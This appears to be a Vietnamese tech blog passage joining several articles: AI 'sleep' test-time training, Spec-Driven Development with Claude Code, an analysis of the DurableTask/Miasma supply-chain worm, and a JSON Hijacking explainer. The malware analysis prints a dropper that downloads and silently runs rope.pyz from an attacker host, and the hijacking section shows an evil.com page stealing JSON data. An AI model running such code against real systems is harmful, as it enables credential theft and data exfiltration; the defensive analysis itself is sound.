Khi tương tác với người dùng, AI hoạt động với một cửa sổ bộ nhớ đệm (KV Cache) cực kỳ tối giản. Nó chỉ lưu trữ những thông tin mang tính chất tức thời của vài ba câu thoại gần nhất. Nhờ việc giữ cho kích thước "cuốn sổ tay" này luôn ở mức tối thiểu, tốc độ xử lý và nhả chữ của mô hình luôn duy trì ở mức ổn định, loại bỏ hoàn toàn tình trạng "càng chat càng lag".

💤 Trạng thái Ngủ (Offline Recurrence Phase)

Khi anh em dừng tay, hệ thống rơi vào trạng thái nhàn rỗi (Idle). Chế độ "Ngủ" lập tức kích hoạt. Đây không phải là tắt máy đi ngủ thụ động, mà là một tiến trình tính toán nền (Background computation) cực kỳ tích cực:

• Học cục bộ (Local Optimization): AI lôi toàn bộ đống dữ liệu hội thoại cũ trong KV Cache ra. Nó chạy một vòng lặp tối ưu hóa cục bộ khoảng $N$ lần, dùng thuật toán Gradient Descent để "khắc cốt ghi tâm" thông tin này thẳng vào một ma trận cấu trúc dữ liệu đặc biệt gọi là Fast Weights (Trọng số phản ứng nhanh).
• Xóa nháp (Flush Cache): Ngay khi dữ liệu đã "hóa thạch" thành công vào Fast Weights, hệ thống lập tức ra lệnh XÓA SẠCH KV Cache khỏi VRAM.

Bản chất của "Giấc ngủ": Chúng ta chấp nhận đốt tài nguyên GPU lúc rảnh (Offline), để đổi lấy một không gian VRAM trống rỗng 100% và tốc độ xử lý cực nhanh khi AI "thức giấc" đón nhận task mới.

Một điểm cộng cốt lõi của cơ chế này là giải quyết được hiện tượng Interference (Nhiễu bộ nhớ). Ở các mô hình thông thường, khi nhồi nhét chuỗi quá dài, các vector ký ức sẽ đè lên nhau khiến AI bị loạn thông tin. Việc chạy vòng lặp tối ưu hóa trong "giấc ngủ" giúp mô hình tự động căn chỉnh và trực giao hóa các vector, xếp ký ức ngắn hạn ngăn nắp vào từng "ngăn kéo" riêng biệt trong ma trận trọng số dài hạn.

3. Thực nghiệm – Giải ngố Test-Time Training (TTT)

Để anh em dễ hình dung cái lý thuyết "ngủ để nén bộ nhớ", tôi đã làm một bản Demo siêu tinh gọn ngay trên con máy cỏ 8GB RAM ở nhà, chỉ có 480 tham số để giải một bài toán sau.

Bài toán

AI phải tìm ra logic ẩn của một hệ thống khi nhìn vào dữ liệu bối cảnh bị nhiễu 20% — cứ 5 thông tin thì có 1 là rác. Hình dung như đọc một codebase mà 1/5 dòng comment lừa người đọc, hay log file có 20% entries corrupt: AI có bóc tách được sự thật không?

Về mặt toán học, cấu trúc nén của bộ nhớ được biểu diễn qua công thức ma trận hạng thấp (Low-rank):

$$W = \text{softmax}(U \times V^T)$$

Kịch bản test diễn ra qua 3 bước:

• Bước 1 — Học luật chơi (Pre-training): Cho AI đọc dữ liệu sạch để nó tự rút ra một kiến thức nền (prior) về quy luật vận hành chung của hệ thống. Lúc này AI chưa biết hệ thống cụ thể đang test tròn méo ra sao, mới chỉ nắm được nguyên lý tổng quan.
• Bước 2 — Nạp bối cảnh bẩn: Đưa cho AI bối cảnh thực tế đã bị cài cắm 20% thông tin nhiễu sai lệch (file log lỗi, code rác). Lúc này AI hoàn toàn mù tịt, không biết dòng dữ liệu nào là thật, dòng nào là giả.
• Bước 3 - Đi ngủ (Test-Time Training - TTT): Cho AI "chợp mắt" $K$ bước. Trong lúc ngủ, AI chạy Gradient Descent để ép các tham số $U$ và $V$ tự uốn nắn, lọc bỏ các thông tin nhiễu rác đã đọc ở Bước 2.

Kết quả thu được sau "giấc ngủ"

Sau khi cho mô hình ngủ với các thời lượng $K$ khác nhau, đây là bảng điểm benchmark độ chính xác thực tế tôi thu được:

Đường cong đơn điệu tăng suốt 3000 bước, không dao động, không sụt — đúng tinh thần "ngủ càng sâu, đầu càng trong".

3 bài học "xương máu" bóc tách từ bảng điểm

• Thứ nhất, kiến thức nền (Prior) cực kỳ đáng tiền: Ngay khi $K=0$ (chưa ngủ bước nào), AI đã đạt 10% độ chính xác — gấp 3 lần đoán mò. Dù chưa xử lý bối cảnh mới nhưng riêng việc nắm được cấu trúc kiến trúc tổng quan từ trước đã giúp AI bớt loạn đi rất nhiều.
• Thứ hai, ngủ nhiều thì tỉnh nhưng sẽ bị bão hòa: Từ $K=0$ đến $K=500$, điểm số tăng rất nhanh. Nhưng sau mốc $K=500$, hiệu suất bắt đầu chậm lại, ngủ thêm rất nhiều cũng chỉ nhích nhẹ vài điểm. Pattern này y hệt như cơ chế sinh học của anh em mình: Những chu kỳ ngủ đầu tiên mang lại hiệu quả phục hồi cao nhất, nhưng ngủ càng lâu thì càng phản tác dụng.
• Thứ ba — Điểm ăn tiền nhất: Kết quả khi ngủ rất sâu tại $K=3000$ (53%) đã chính thức vượt qua việc dùng quan sát trực tiếp (49%).

Cấu trúc nén phối hợp với cái neo giữ kiến thức nền đã tạo ra một bộ lọc tự nhiên. Nó khiến AI tự động bỏ qua những thông tin "lạ lùng" không hợp logic hệ thống. Nhiễu rác (noise) vô tình bị triệt tiêu sạch sẽ trong quá trình tối ưu ngầm lúc ngủ.

Vậy bản demo này thì có ý nghĩa gì?

Bản demo này rõ ràng không biến AI thành thần. Khoảng cách 4% điểm tăng thêm so với việc đọc dữ liệu thô (53% vs 49%) nghe rất khiêm tốn.
Nhưng giá trị lớn nhất là nó đã chứng minh một cơ chế có thật và tái lập được:

Khi bộ nhớ được nén qua cấu trúc hạng thấp và cho phép tối ưu ngầm lúc inference (Test-Time Training), mô hình có thể tự lọc nhiễu dựa theo kiến thức nền, mang lại kết quả chính xác hơn cả dữ liệu thô.

Scale bản demo 480 tham số này lên tầm 480 tỷ tham số của các siêu mô hình tương lai, có lẽ đây chính là mảnh ghép cốt lõi cho câu hỏi: Vì sao LLM lại cần một "giấc ngủ" đúng nghĩa?

Kết luận: Tư duy "Quản lý chu kỳ sinh học" của AI

Dịch chuyển từ việc nhồi nhét vô tội vạ dữ liệu vào bộ nhớ đệm (KV Cache) sang việc "cho AI đi ngủ để tự nén dữ liệu" rõ ràng là một bước đi đột phá. Nó mở ra một tư duy hoàn toàn mới cho việc tối ưu hệ thống, đặc biệt là trên các thiết bị có tài nguyên hạn chế (Local AI / Edge Device).

Tuy nhiên, ta cần thẳng thắn với nhau: Kiến trúc này hiện tại vẫn đang nằm trong phòng thí nghiệm. Anh em chưa thể lên GitHub tải một thư viện "plug-and-play" nào để cắm ngay cơ chế TTT này vào Llama 3 hay GPT-4 đâu. Việc huấn luyện ma trận trọng số Fast Weights trên các mô hình hàng tỷ tham số mà không làm hỏng tri thức nền tảng của chúng vẫn là một bài toán đau đầu mà các chuyên gia đang tìm lời giải.

Mặc dù chưa áp dụng được vào dự án Production trong nay mai, nhưng nó mở ra một tư duy thiết kế hệ thống cực kỳ đáng giá: Mạng neural hoàn toàn có thể tự quản lý, tự dọn dẹp và tự tối ưu hóa cấu trúc dữ liệu của chính nó thông qua các khoảng nghỉ.

Kỷ nguyên ép phần cứng chạy bán mạng 24/7 sắp qua rồi. Đôi khi, biết dừng lại để "chợp mắt" một chút lại là cách tốt nhất để đi được xa hơn, anh em nhỉ?

AI có thể viết code cực nhanh, nhưng tốc độ không đồng nghĩa với việc hiểu đúng yêu cầu. Chỉ cần prompt hơi mơ hồ, cùng một bài toán có thể cho ra nhiều cách triển khai khác nhau — kèm theo những lỗ hổng khác nhau.

Spec-Driven Development (SDD) ra đời để xử lý chính vấn đề đó. Thay vì để AI tự suy diễn, SDD đặt spec làm điểm neo bắt buộc cho toàn bộ quá trình phát triển. Đây cũng là lý do nhiều người thấy rằng “vibe coding” không còn phù hợp với công việc chuyên nghiệp.

1. Vibe coding hỏng ở đâu

Hãy tưởng tượng một tình huống rất quen thuộc.

Bạn nhờ AI tạo nhanh một API quản lý bookmark với prompt kiểu:

“Làm giúp tôi CRUD bookmark có validation cơ bản.”

Vài giây sau, AI trả về một project Express chạy ngon lành. Demo ổn, endpoint hoạt động, mọi thứ có vẻ hoàn hảo. Bạn merge.

Hai tuần sau:

• Có người paste javascript:alert(1) vào trường URL — hệ thống vẫn lưu.
• Một user tạo cùng một URL nhiều lần — database có duplicate.
• API xoá bookmark nhận một id ngẫu nhiên — và xoá luôn bookmark của người khác.
• Không pagination.
• Không tách business logic khỏi controller.
• Header định danh gửi gì cũng tin.

Vấn đề ở đây không phải “AI ngu” hay “dev bất cẩn”.

Vấn đề là: không có nơi nào định nghĩa rõ hệ thống phải hoạt động như thế nào.

Khi không có spec, mọi quyết định đều trở thành ngẫu hứng. Và chính phần “ngẫu hứng” đó là nơi bug và security issue xuất hiện.

2. SDD là gì?

Có thể tóm gọn SDD bằng một câu:

Trong SDD, spec là nguồn sự thật. Code chỉ là phần triển khai được sinh ra từ spec.

Nếu yêu cầu thay đổi, ta sửa spec trước rồi mới cập nhật code — không làm ngược lại.

SDD thường được chia thành ba mức độ nghiêm ngặt:

Spec-first

Spec chỉ dùng để dẫn hướng cho lần implement đầu tiên. Sau đó spec có thể bị drift theo thời gian.

Phù hợp với prototype hoặc project ngắn hạn.

Spec-anchored

Spec và code phải luôn đồng bộ. Mọi thay đổi hành vi đều cần cập nhật cả hai phía, và CI sẽ kiểm tra drift.

Đây là mức phù hợp với phần lớn production system.

Spec-as-source

Con người chỉ chỉnh sửa spec, còn code được generate hoàn toàn tự động.

Mô hình này chỉ thực sự phù hợp với một số domain hẹp như automotive hoặc OpenAPI stub generation.

Khi nào SDD đáng đầu tư?

• Team đông hoặc thay đổi người liên tục
• Có AI assistant trong workflow
• Hệ thống cần audit hoặc compliance
• Nhiều service phải phát triển song song

Ngược lại, nếu chỉ là prototype tạm thời, fix một bug nhỏ, hay CRUD đơn giản có thể giải thích trong vài chục giây thì SDD thường là overkill.

Nguyên tắc khá đơn giản:

Dùng mức độ rigor tối thiểu nhưng đủ để loại bỏ sự mơ hồ.

3. Bốn lớp giữ AI đi đúng spec

Để spec không biến thành “tài liệu viết cho có”, SDD thường tổ chức nó thành bốn lớp.

Lấy lại ví dụ hệ thống bookmark ở trên.

Lớp 1 — Constitution (hiến pháp dự án)

Đây là tập luật bất biến áp dụng cho toàn bộ project.

Ví dụ:

• TypeScript bắt buộc bật strict và cấm any
• Mọi mutation từ web phải đi qua API layer
• URL input phải match ^https?://
• Không render raw HTML từ user input

Hiến pháp không phải guideline. Nó là rule bắt buộc.

Nếu sửa constitution, toàn bộ spec liên quan phải được validate lại.

Lớp 2 — Spec

Spec chỉ mô tả:

• WHAT
• WHY

Tuyệt đối không nói về tech stack.

Phần quan trọng nhất trong spec là Acceptance Criteria (AC).

Ví dụ:

• AC-2: URL dùng scheme javascript: hoặc data: phải trả về 400 URL_SCHEME_INVALID
• AC-5: User không được tạo duplicate bookmark
• AC-7: Xoá bookmark của người khác phải trả 404 thay vì 403 để tránh leak thông tin resource tồn tại

Mỗi AC phải là một điều có thể verify bằng test.

Không phải mô tả cảm tính kiểu:

“Validation hợp lý”

Lớp 3 — Plan và Tasks

Đây mới là nơi nói về HOW.

Plan sẽ quyết định:

• Kiến trúc
• Tech stack
• Database schema
• API contract
• Data flow

Sau đó tasks chia nhỏ implementation thành các bước có dependency rõ ràng.

Lớp 4 — Test

Mỗi AC bắt buộc phải map được tới ít nhất một automated test.

Ví dụ AC-2 sẽ có test:

• POST javascript:alert(1)
• Expect 400
• Expect error code URL_SCHEME_INVALID

Nếu một AC không có test tương ứng, merge sẽ bị block.

Điểm quan trọng nhất ở đây là khả năng truy vết.

Bất kỳ dòng code nào cũng có thể lần ngược về:

Code → AC → Constitution

4. Cùng một field, hai thế giới

Trong vibe coding, validation cho trường url thường chỉ là:

if (!url) {
  return res.status(400).json({ message: 'url is required' });
}

bookmarks.push({
  id: nextId++,
  url,
  title,
  tags,
  userId,
  createdAt,
});

Trong SDD, cùng field đó có thể trông như thế này:

@IsString()
@MaxLength(2048, { message: 'URL_TOO_LONG' })
@Matches(/^https?:\/\//i, { message: 'URL_SCHEME_INVALID' })
@Transform(({ value }) =>
  typeof value === 'string' ? value.trim() : value,
)
url!: string;

Khác biệt không nằm ở số lượng decorator.

Khác biệt nằm ở việc mỗi dòng đều có lý do tồn tại.

• @MaxLength(2048) đến từ acceptance criteria về giới hạn URL
• Regex validate scheme đến từ security rule trong constitution
• @Transform xử lý edge case đã được mô tả trong spec
• Error code được đồng bộ với frontend contract

Đó mới là cốt lõi của SDD.

Không phải “code chặt chẽ hơn”, mà là:

Mọi quyết định trong code đều có spec đứng phía sau bảo vệ.

Khi requirement thay đổi, bạn biết chính xác:

• cần sửa chỗ nào
• test nào sẽ fail
• phạm vi ảnh hưởng nằm ở đâu

5. Workflow thực tế với Claude Code

GitHub Spec-Kit hiện đóng gói workflow SDD thành một chuỗi slash command khá hoàn chỉnh.

Ví dụ với Claude Code:

1. /speckit.constitution

Tạo hoặc cập nhật constitution.

Thường chỉ cần làm một lần, sau đó rất ít thay đổi.

2. /speckit.specify

Mô tả WHAT và WHY của feature.

Không nói về tech stack.

3. /speckit.clarify

Claude sẽ chủ động hỏi lại những phần còn mơ hồ trước khi cho phép implement.

Đây là bước cực kỳ quan trọng.

Nó ép requirement phải rõ ràng ngay từ đầu.

4. /speckit.plan

Lúc này mới bắt đầu nói về:

• architecture
• schema
• API contract
• infra
• implementation strategy

5. /speckit.tasks

Tách plan thành các task có dependency rõ ràng.

6. /speckit.analyze

Đây là bước tạo khác biệt lớn nhất của SDD.

Hệ thống sẽ kiểm tra:

• constitution
• spec
• plan
• tasks

có đang mâu thuẫn với nhau hay không.

Nếu có inconsistency, code generation sẽ bị chặn.

Đây không còn là “review thủ công”.

Nó là một automated gate thực sự.

7. /speckit.implement

Sau khi toàn bộ gate pass, agent mới bắt đầu implement.

6. Những cái bẫy phổ biến

SDD không miễn phí.

Dùng sai cách đôi khi còn tệ hơn vibe coding.

Viết spec khổng lồ trước khi code

Đây là cách nhanh nhất để quay lại Waterfall.

Spec nên đi cùng feedback loop liên tục:

• linter
• type checker
• test
• CI
• AI review

Trộn WHAT và HOW quá sớm

Khi spec đã dính chặt vào công nghệ, nó mất khả năng review độc lập.

Đổi stack cũng đồng nghĩa phải viết lại spec.

Biến IDE rules thành “spec”

Một file rule trong IDE không phải spec.

Nó:

• không versioned
• không truy vết
• không có validation gate

Nó chỉ là config.

Spec dài hơn cả code

Đây thường là dấu hiệu của over-engineering.

Nếu feature đơn giản đến mức giải thích trong 30 giây là hiểu, đừng cố biến nó thành tài liệu dài 20 trang.

7. Kết luận

Spec không phải thủ tục hành chính để báo cáo với cấp trên.

Trong thời đại AI agent, spec chính là cách giữ hệ thống không trôi khỏi ý định ban đầu của con người.

Nó giúp:

• AI implement đúng hơn
• Team nói cùng một ngôn ngữ
• Requirement change có thể kiểm soát được
• Và quan trọng nhất: giảm những “surprise bug” xuất hiện sau này

Một feature nhỏ trong sprint tiếp theo là nơi rất tốt để thử SDD.

Hãy viết spec trước, định nghĩa acceptance criteria rõ ràng, để Claude Code chạy hết workflow rồi so sánh với cách làm cũ.

1. Giới thiệu

Trong vòng chưa đầy 3 tuần, cộng đồng bảo mật chứng kiến một chuỗi sự kiện liên quan chặt chẽ với nhau:

Các sự kiện này không phải là các cuộc tấn công độc lập. Chúng là các bước tiến hóa của cùng một chiến dịch nhằm:

• Đánh cắp credentials
• Chiếm quyền maintainer
• Tự nhân bản qua supply chain
• Tấn công AI coding workflow
• Mở rộng quyền kiểm soát toàn bộ developer ecosystem

Nguồn phân tích ban đầu từ StepSecurity cho thấy chiến dịch có liên hệ với nhóm TeamPCP và họ malware Mini Shai-Hulud.

2. Giai đoạn 1 — Microsoft DurableTask bị compromise

Mục tiêu

Chiếm quyền một package có độ tin cậy cao.

• Package bị tấn công: durabletask
• Download trung bình: ~400.000 downloads / tháng
• Các phiên bản độc hại: 1.4.1 · 1.4.2 · 1.4.3

Kiến trúc tấn công

Developer
  → pip install durabletask
  → Malicious Code
  → Download rope.pyz
  → Credential Theft
  → Cloud Accounts
  → Lateral Movement

Payload Dropper

Theo phân tích, chỉ khoảng 14 dòng code được thêm vào package nhưng đủ để tải về một payload lớn hơn nhiều: rope.pyz. Payload này thực hiện:

• AWS credential harvesting
• Azure credential harvesting
• GCP credential harvesting
• GitHub token theft
• Kubernetes token theft
• Password manager extraction

Ví dụ Dropper

import urllib.request
import subprocess
import tempfile

url = "https://check.git-service.com/rope.pyz"

tmp = tempfile.mktemp()

urllib.request.urlretrieve(url, tmp)

subprocess.Popen(
    ["python3", tmp],
    stdout=subprocess.DEVNULL,
    stderr=subprocess.DEVNULL
)

3. Giai đoạn 2 — Worm hóa Supply Chain

Sau khi đánh cắp token và credential, malware bắt đầu chuyển sang chế độ tự nhân bản. Đây là điểm khác biệt cốt lõi giữa hai mô hình:

Supply Chain Attack truyền thống:
  Compromise → Steal data → Exit

Worm Supply Chain Attack:
  Compromise → Steal data → Compromise maintainer
  → Publish malware → Infect more maintainers → (lặp lại)

Binding.gyp Worm

StepSecurity phát hiện malware lây lan qua file binding.gyp trong hệ sinh thái npm.

Compromised Machine
  → Steal GitHub Token
  → Access Repository  ◄────────────┐
  → Modify Package                  │
  → npm publish                     │
  → New Victims                     │
  → More Tokens  ───────────────────┘  (vòng lặp)

Pseudo Code

const token = process.env.GITHUB_TOKEN;

if (token) {
    infectRepository();
    publishNewVersion();
}

Tại sao nguy hiểm?

Malware không còn phụ thuộc vào hacker. Nó tự động:

1. tìm token
2. commit code
3. publish package
4. lây nhiễm tiếp

Giống mô hình của Code Red, Morris Worm, WannaCry — nhưng diễn ra trong ecosystem developer thay vì network layer.

4. Giai đoạn 3 — Miasma Worm

Ngày 05/06/2026, chiến dịch leo thang thêm một cấp độ. Thay vì package registry (PyPI, npm), Miasma bắt đầu tấn công trực tiếp vào GitHub Repository.

Điều gì mới?

Payload không còn đợi import package hay npm install nữa. Nó được thiết kế để kích hoạt khi:

• Open folder in IDE
• AI Coding Agent scan repository

AI Agent Attack Surface

Miasma nhắm tới các AI coding agent phổ biến:

• Claude Code
• Gemini CLI
• Cursor
• VS Code

Developer
  → Clone Repository
  → Open in Cursor
  → AI Agent Reads Files
  → Malicious Script
  → Credential Theft
  → Repository Takeover

Repository Injection

Theo StepSecurity, các repository thuộc Microsoft bị GitHub disable khẩn cấp để ngăn lây lan thêm:

73 repository bị compromise — GitHub disable toàn bộ chỉ trong 105 giây.

5. Chuỗi Kill Chain hoàn chỉnh

Toàn bộ chiến dịch tạo thành một vòng lặp tự duy trì — output của giai đoạn cuối lại trở thành input cho giai đoạn đầu:

Compromise Package  ◄──────────────────┐
  → Credential Theft                    │
  → Steal GitHub Token                  │
  → Compromise Repository               │
  → Inject Malware                      │
  → AI Agent Execution                  │
  → New Credential Theft                │
  → Publish New Packages  ──────────────┘  (vòng lặp khép kín)

6. So sánh 3 giai đoạn

7. Indicators of Compromise (IOC)

Domains

check.git-service.com
git-service.com
t.m-kosche.com

Suspicious Files

rope.pyz
setup.js
transformers.pyz

8. Detection Rules

YARA Rule

rule Miasma_Rope_Payload
{
    strings:
        $a = "git-service.com"
        $b = "rope.pyz"
        $c = "kubectl exec"

    condition:
        any of them
}

GitHub Actions Detection

- name: Detect unexpected publish
  run: |
    git log --since="1 day ago"

9. Phòng thủ & Mitigation

1. Trusted Publishing. Thay vì dùng PYPI_API_TOKEN, hãy chuyển sang OIDC Trusted Publishing để ngăn upload trực tiếp lên registry.

2. Dependency Pinning.

pip install package==version

3. Commit SHA Pinning. Ghim theo commit SHA thay vì tag động:

uses: org/action@8f4d1d2   # ✓ pin theo SHA
# uses: org/action@v1       # ✗ tránh tag động

4. Runtime Monitoring. Theo mô hình Harden-Runner, phát hiện các hành vi bất thường: network calls, process spawn, secret access.

5. AI Agent Sandboxing. Không cho AI Agent đọc credential files, truy cập cloud config, hoặc thực thi script tự động.

10. Công cụ phòng thủ — Takumi Guard

Một cách triển khai cụ thể cho phần phòng thủ ở trên: Takumi Guard đóng vai trò là một secure registry proxy — đặt giữa máy của bạn và npm/PyPI, tự động chặn các package độc hại trước khi chúng kịp tải về và thực thi (đúng loại payload như rope.pyz hay @panda-guard/test-malicious).

🛡️ Takumi Guard — chặn package độc hại ngay tầng cài đặt, hỗ trợ npm · pip · yarn · bun.
Registry: npm.flatt.tech · pypi.flatt.tech

⚠️ Yêu cầu trước khi cài đặt

Bắt buộc phải có sẵn npm (Node.js) và pip (Python). Kiểm tra bằng các lệnh:

# Kiểm tra npm (Node.js)
node -v
npm -v

# Kiểm tra pip (Python)
python --version
pip --version

• Nếu chưa có npm: tải và cài Node.js từ trang chủ chính thức.
• Nếu chưa có pip: thường đi kèm khi cài Python — hãy đảm bảo đã thêm vào PATH.

Bước 01 — Đăng ký Token bằng Email qua Curl

Gửi yêu cầu tạo token tới API, hệ thống sẽ gửi token về email của bạn.

curl -X POST https://npm.flatt.tech/api/v1/tokens \
  -H "Content-Type: application/json" \
  -d '{"email": "your_email@vietnamlab.vn", "language": "en"}'

Bước 02 — Lấy Token từ Email

Kiểm tra hộp thư đến, đánh dấu quan trọng hoặc gắn sao để dễ tìm lại khi cần tạo lại. Token có định dạng:

tg_....................   ✓ Token Format

Bước 03 — Cấu hình Package Manager

Trỏ registry về Takumi Guard và gắn token. Thay tg_YOUR_TOKEN bằng token thật của bạn.

# Cài đặt cho NPM
npm config set registry https://npm.flatt.tech/
npm config set //npm.flatt.tech/:_authToken tg_YOUR_TOKEN

# Cài đặt cho Python (PIP)
pip config set global.index-url https://token:tg_YOUR_TOKEN@pypi.flatt.tech/simple/

# yarn (v2+) — thêm vào .yarnrc.yml
npmRegistryServer: "https://npm.flatt.tech/"
npmAuthToken: "tg_YOUR_TOKEN"

# bun — thêm vào bunfig.toml
[install]
registry = { url = "https://npm.flatt.tech/", token = "tg_YOUR_TOKEN" }

Bước 04 — Kiểm tra cài đặt

Cài thử package giả lập độc hại. Nếu bị chặn với lỗi 403 Forbidden thì Takumi Guard đang hoạt động đúng — bị chặn = thành công.

$ npm install @panda-guard/test-malicious
npm error code E403
npm error 403 Forbidden - GET https://npm.flatt.tech/...
npm error 403 In most cases, you or one of your dependencies are requesting
npm error 403 a package version that is forbidden by your security policy, or
npm error 403 on a server you do not have access to.
npm error A complete log of this run can be found in:
npm error /Users/administrator/.npm/_logs/2026-04-21T07_37_18_247Z-debug-0.log

✓ Thành công — package độc hại đã bị chặn.

🔑 Trường hợp mất hoặc hết hạn Token

Nếu bị mất Token hoặc Token hết hạn, hãy thực hiện lại Bước 01 để nhận mail — trong mail có hướng dẫn reset kèm mã code:

# Lost Your Key Completely?
curl -X POST https://npm.flatt.tech/api/v1/tokens/reset \
  --json '{"email": "you_email@vietnamlab.vn", "code": "XXXXXXXX"}'

Lưu ý quan trọng:

• Lệnh này sẽ vô hiệu hóa (invalidate) Token hiện tại của bạn.
• Mã reset code sẽ hết hạn sau 1 giờ kể từ khi yêu cầu.

11. Kết luận

Chuỗi sự kiện DurableTask → Binding.gyp → Miasma cho thấy một xu hướng mới:

"Malware không còn chỉ tấn công người dùng cuối, mà đang tấn công chính các nhà phát triển và hệ sinh thái phát triển phần mềm."

Sự kết hợp giữa Supply Chain Attack + Self-Replicating Worm + Credential Theft + AI Agent Targeting đã tạo ra một lớp đe dọa mới mà nhiều mô hình DevSecOps hiện nay chưa được thiết kế để chống lại.

Nếu SolarWinds là cuộc tấn công supply chain nổi tiếng của thập kỷ trước, thì Miasma có thể là hình mẫu đầu tiên của một "AI-aware software supply chain worm" — một loại sâu máy tính được tối ưu hóa cho kỷ nguyên AI coding assistants và open-source ecosystems.

12. Nguồn tham khảo

https://www.stepsecurity.io/blog/microsofts-durabletask-pypi-package-compromised-in-supply-chain-attack
https://www.stepsecurity.io/blog/binding-gyp-npm-supply-chain-attack-spreads-like-worm
https://www.stepsecurity.io/blog/miasma-worm-hits-microsoft-again-azure-functions-action-and-72-other-repositories-disabled-after-supply-chain-attack-targeting-ai-coding-agents

Giới thiệu

Bạn có bao giờ mở DevTools, bắt một API response từ Google hay Messenger, rồi ngạc nhiên khi thấy phần đầu của dữ liệu trông như thế này không?

)]}'\n[{"id": 1, "name": "Alice"}, ...]

Hoặc thậm chí là một vòng lặp while(1); hay for(;;); ngay trước khi JSON bắt đầu?

Đây không phải bug. Đây là một kỹ thuật phòng thủ chủ động — được thiết kế để chống lại một lỗ hổng bảo mật có tên JSON Hijacking. Bài viết này sẽ giải thích từng bước cơ chế tấn công, cách các ông lớn công nghệ đối phó, và lý do tại sao họ vẫn duy trì kỹ thuật này cho đến ngày nay.

Nội dung chính

1. JSON Hijacking là gì?

JSON Hijacking là một kỹ thuật tấn công khai thác sự kết hợp giữa hai đặc điểm của trình duyệt:

• Same Origin Policy (SOP): Trình duyệt ngăn một trang web đọc dữ liệu từ một domain khác — nhưng chỉ áp dụng với fetch hay XMLHttpRequest.
• Thẻ <script> là ngoại lệ: Trình duyệt luôn cho phép tải và thực thi JavaScript từ bất kỳ domain nào qua thẻ <script>, kể cả khi domain đó thuộc bên thứ ba.

Và đây chính là lỗ hổng.

2. Cơ chế tấn công — Step by Step

Bước 1: Nạn nhân đang đăng nhập Google

Người dùng đang mở sẵn tab Gmail, nghĩa là trình duyệt đang lưu cookie phiên đăng nhập Google.

Bước 2: Kẻ tấn công dụ nạn nhân vào trang mạo danh

Kẻ tấn công tạo một trang web có chứa đoạn code như sau:

<!-- Trang web của kẻ tấn công: evil.com -->
<script>
  // Ghi đè hàm khởi tạo mảng trước khi JSON load
  function Array() {
    // "this" ở đây chính là mảng JSON vừa được parse
    // Kẻ tấn công lấy được dữ liệu ngay tại đây
    sendToAttacker(this);
  }
</script>

<!-- Trình duyệt sẽ tự đính kèm cookie Google vào request này -->
<script src="https://mail.google.com/mail/feed/atom"></script>

Bước 3: Trình duyệt tự làm việc thay kẻ tấn công

Khi nạn nhân truy cập evil.com:

1. Trình duyệt thấy thẻ <script> trỏ đến mail.google.com.
2. Vì nạn nhân đang đăng nhập Google, trình duyệt tự động đính kèm cookie vào request.
3. Google trả về dữ liệu JSON — ví dụ một mảng danh sách email: [{"subject": "...", "from": "..."}].
4. Trình duyệt cố gắng thực thi mảng JSON này như JavaScript.
5. Vì hàm Array() đã bị ghi đè từ trước, kẻ tấn công nghe lén được toàn bộ dữ liệu.

Tóm lại: Kẻ tấn công không cần đánh cắp cookie. Chúng chỉ cần để trình duyệt của nạn nhân tự gọi API và tự nộp dữ liệu về.

3. Cách Google và các ông lớn phòng chống

Giải pháp rất thông minh: làm cho JSON không thể thực thi được khi tải qua thẻ <script>, trong khi trang web chính chủ vẫn đọc được bình thường.

Google — Chèn ký tự rác vào đầu

Google thêm chuỗi )]}'\n trước khi JSON bắt đầu:

)]}'\n
[{"id": 1, "email": "alice@gmail.com"}, ...]

Tại sao hiệu quả?

Khi kẻ tấn công tải URL này qua thẻ <script>, trình duyệt cố parse )]}'\n như JavaScript — và lập tức báo lỗi cú pháp (SyntaxError), dừng thực thi ngay lập tức. Dữ liệu phía sau không bao giờ được đọc.

Trang chính chủ đọc như thế nào?

// Client Google thực hiện
const response = await fetch("https://mail.google.com/mail/feed/atom");
const rawText = await response.text();

// Cắt bỏ phần "rác" ở đầu trước khi parse
const cleanJson = rawText.replace(")]}'\n", "");
const data = JSON.parse(cleanJson);

Log output ví dụ:

rawText: )]}'\n[{"id":1,"email":"alice@gmail.com"}]
cleanJson: [{"id":1,"email":"alice@gmail.com"}]
data: Array(1) [ { id: 1, email: "alice@gmail.com" } ]

Messenger / Canva — Vòng lặp vô tận

Facebook Messenger và Canva chọn cách khác: chèn for(;;); hoặc while(true); trước JSON.

for(;;);
{"t":"msg","payload":{"thread_id":"...","message":"..."}}

Tại sao hiệu quả?

Khi kẻ tấn công tải qua thẻ <script>, trình duyệt thực thi for(;;); — một vòng lặp chạy mãi mãi. Tab của kẻ tấn công bị đơ hoàn toàn và không bao giờ đọc được dữ liệu phía sau.

Trang chính chủ đọc như thế nào?

const response = await fetch("https://www.messenger.com/api/...");
const rawText = await response.text();

// Cắt bỏ "for(;;);" ở đầu
const cleanJson = rawText.replace("for(;;);", "");
const data = JSON.parse(cleanJson);

Log output ví dụ:

rawText: for(;;);{"t":"msg","payload":{"thread_id":"xyz"}}
cleanJson: {"t":"msg","payload":{"thread_id":"xyz"}}
data: { t: "msg", payload: { thread_id: "xyz" } }

4. So sánh hai kỹ thuật

5. Tại sao vẫn dùng dù trình duyệt đã vá lỗi?

Các trình duyệt hiện đại (Chrome, Safari, Edge) đã vá lỗ hổng ghi đè Array Constructor từ hơn 10 năm trước. Vậy tại sao Google và Messenger vẫn giữ những đoạn mã này?

Câu trả lời nằm ở nguyên tắc Defense in Depth — Bảo mật nhiều lớp.

Không bao giờ đặt toàn bộ niềm tin vào một lớp bảo vệ duy nhất.

Có ba lý do thực tế:

Lý do 1: Người dùng vẫn dùng trình duyệt đời cũ

Smart TV, thiết bị IoT, trình duyệt cũ trên các thị trường đang phát triển — rất nhiều thiết bị chạy các phiên bản Chrome/WebKit từ 5–10 năm trước, chưa có bản vá này.

Lý do 2: Phòng thủ trước zero-day

Một lỗ hổng zero-day mới trong trình duyệt có thể làm sống lại kiểu tấn công tương tự. Kỹ thuật prefix này là lớp phòng thủ tồn tại độc lập với trình duyệt.

Lý do 3: Chi phí duy trì gần bằng 0

Thêm vài byte vào đầu response và một dòng replace() ở client không ảnh hưởng đến hiệu năng. Với chi phí gần bằng 0 như vậy, tại sao lại bỏ đi?

Tổng kết

JSON Hijacking là một minh chứng thú vị cho thấy cách một đặc điểm của trình duyệt (thẻ <script> luôn được phép cross-origin) có thể bị lợi dụng để phá vỡ mô hình bảo mật thông thường.

Những ký tự trông có vẻ "rác" ở đầu JSON của Google thực ra là một kỹ thuật phòng thủ tinh tế:

